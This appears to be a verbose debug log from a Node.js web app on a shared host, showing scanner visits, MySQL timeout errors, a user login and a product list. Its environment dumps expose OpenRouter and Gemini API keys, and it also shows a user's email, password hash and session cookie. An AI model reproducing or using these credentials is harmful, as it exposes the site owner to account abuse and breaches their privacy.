2026-03-10T12:34:16.612Z server-connect:router Serving templateView /login
2026-03-10T12:34:16.612Z server-connect:app Executing action step identify
2026-03-10T12:34:16.612Z server-connect:app options: { provider: 'security' }
2026-03-10T12:34:16.612Z server-connect:auth No login cookie found
2026-03-10T12:34:16.612Z server-connect:output identity: false
2026-03-10T12:34:16.612Z server-connect:router Render template layouts/authentication
2026-03-10T12:34:16.613Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '205.210.31.31',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-11T12:34:16.612Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '205.210.31.31',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '205.210.31.31',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-03-10T13:39:00.288Z server-connect:router Serving templateView /
2026-03-10T13:39:00.289Z server-connect:app Executing action step identify
2026-03-10T13:39:00.289Z server-connect:app options: { provider: 'security' }
2026-03-10T13:39:00.289Z server-connect:auth No login cookie found
2026-03-10T13:39:00.289Z server-connect:output identity: false
2026-03-10T13:39:00.289Z server-connect:app Executing action step restrict
2026-03-10T13:39:00.289Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-10T13:39:00.289Z server-connect:output restrict: undefined
2026-03-10T13:39:07.031Z server-connect:router Serving templateView /login
2026-03-10T13:39:07.031Z server-connect:app Executing action step identify
2026-03-10T13:39:07.032Z server-connect:app options: { provider: 'security' }
2026-03-10T13:39:07.032Z server-connect:auth No login cookie found
2026-03-10T13:39:07.032Z server-connect:output identity: false
2026-03-10T13:39:07.032Z server-connect:router Render template layouts/authentication
2026-03-10T13:39:07.032Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'RecordedFuture Global Inventory Crawler',
    xxxxxxxxxx: 'close',
    referer: 'https://65.21.215.19:443',
    'x-scanned-by': 'RecordedFuture-Global Inventory',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '98.88.137.2',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-11T13:39:07.030Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '98.88.137.2',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'RecordedFuture Global Inventory Crawler',
    HTTP_XXXXXXXXXX: 'close',
    HTTP_REFERER: 'https://65.21.215.19:443',
    'HTTP_X_SCANNED-BY': 'RecordedFuture-Global Inventory',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '98.88.137.2',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-10 14:27:03' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-10 14:27:03' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-10 15:54:04' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-10 15:54:04' as DATETIME)"
}
2026-03-10T19:58:04.150Z server-connect:router Serving templateView /
2026-03-10T19:58:04.152Z server-connect:app Executing action step identify
2026-03-10T19:58:04.152Z server-connect:app options: { provider: 'security' }
2026-03-10T19:58:04.152Z server-connect:auth No login cookie found
2026-03-10T19:58:04.152Z server-connect:output identity: false
2026-03-10T19:58:04.152Z server-connect:app Executing action step restrict
2026-03-10T19:58:04.152Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-10T19:58:04.153Z server-connect:output restrict: undefined
2026-03-10T19:58:04.324Z server-connect:router Serving templateView /login
2026-03-10T19:58:04.324Z server-connect:app Executing action step identify
2026-03-10T19:58:04.324Z server-connect:app options: { provider: 'security' }
2026-03-10T19:58:04.324Z server-connect:auth No login cookie found
2026-03-10T19:58:04.324Z server-connect:output identity: false
2026-03-10T19:58:04.324Z server-connect:router Render template layouts/authentication
2026-03-10T19:58:04.325Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (compatible; wpbot/1.4; +https://forms.gle/ajBaxygz9jSR8p8G9)',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '35.95.79.59',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-11T19:58:04.323Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '35.95.79.59',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (compatible; wpbot/1.4; +https://forms.gle/ajBaxygz9jSR8p8G9)',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '35.95.79.59',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-10 20:33:05' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-10 20:33:05' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-11 04:53:05' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-11 04:53:05' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-11 07:04:05' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-11 07:04:05' as DATETIME)"
}
2026-03-11T09:47:56.610Z server-connect:router Serving templateView /
2026-03-11T09:47:56.611Z server-connect:app Executing action step identify
2026-03-11T09:47:56.611Z server-connect:app options: { provider: 'security' }
2026-03-11T09:47:56.658Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2026-03-11T09:47:56.660Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2026-03-11T09:47:56.709Z server-connect:output identity: 1
2026-03-11T09:47:56.709Z server-connect:app Executing action step restrict
2026-03-11T09:47:56.709Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-11T09:47:56.710Z server-connect:output restrict: undefined
2026-03-11T09:47:56.710Z server-connect:app Executing action step restrict
2026-03-11T09:47:56.710Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-11T09:47:56.710Z server-connect:output restrict: undefined
2026-03-11T09:47:56.710Z server-connect:router Render template layouts/main
2026-03-11T09:47:56.710Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    'sec-purpose': 'prefetch;prerender',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3Aj2CtATEBF5Rf8R70pZNBtQ%3D%3D.3uNhkVDixLCub6azOm8ZIs3ZFiuo12Guu%2Be2SU%2B2DzDtSbfx3%2FVft%2BZascIdXrRqTLc2KemGRJKzKa1x2iJpOSczjr2gr3BvW7WbMv6ARLR5qQhfYM4U1UpROYbJBLTeGRnEa7l1ES2AI8syHLgwr5K3XS3oCNaEkAIm0ugVZl8%3D.0Ja7HQI3FQAw%2Fd4r6MWQWJa8zmRGQ3t9KTMSeSIYpnM',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-12T09:47:56.610Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    HTTP_SEC_PURPOSE: 'prefetch;prerender',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3Aj2CtATEBF5Rf8R70pZNBtQ%3D%3D.3uNhkVDixLCub6azOm8ZIs3ZFiuo12Guu%2Be2SU%2B2DzDtSbfx3%2FVft%2BZascIdXrRqTLc2KemGRJKzKa1x2iJpOSczjr2gr3BvW7WbMv6ARLR5qQhfYM4U1UpROYbJBLTeGRnEa7l1ES2AI8syHLgwr5K3XS3oCNaEkAIm0ugVZl8%3D.0Ja7HQI3FQAw%2Fd4r6MWQWJa8zmRGQ3t9KTMSeSIYpnM',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-03-11T09:47:59.179Z server-connect:router Serving serverConnect /api/masters/get-items
2026-03-11T09:47:59.180Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-03-11T09:47:59.180Z server-connect:app Executing action step identify
2026-03-11T09:47:59.180Z server-connect:app options: { provider: 'security' }
2026-03-11T09:47:59.181Z server-connect:output identity: 1
2026-03-11T09:47:59.181Z server-connect:app Executing action step restrict
2026-03-11T09:47:59.181Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-11T09:47:59.181Z server-connect:app Executing action step identify
2026-03-11T09:47:59.181Z server-connect:app options: { provider: 'security' }
2026-03-11T09:47:59.181Z server-connect:output identity: 1
2026-03-11T09:47:59.181Z server-connect:app Executing action step restrict
2026-03-11T09:47:59.181Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-11T09:47:59.182Z server-connect:output restrict: undefined
2026-03-11T09:47:59.182Z server-connect:app Executing action step select
2026-03-11T09:47:59.182Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-03-11T09:47:59.183Z server-connect:output restrict: undefined
2026-03-11T09:47:59.183Z server-connect:app Executing action step single
2026-03-11T09:47:59.183Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-03-11T09:47:59.187Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
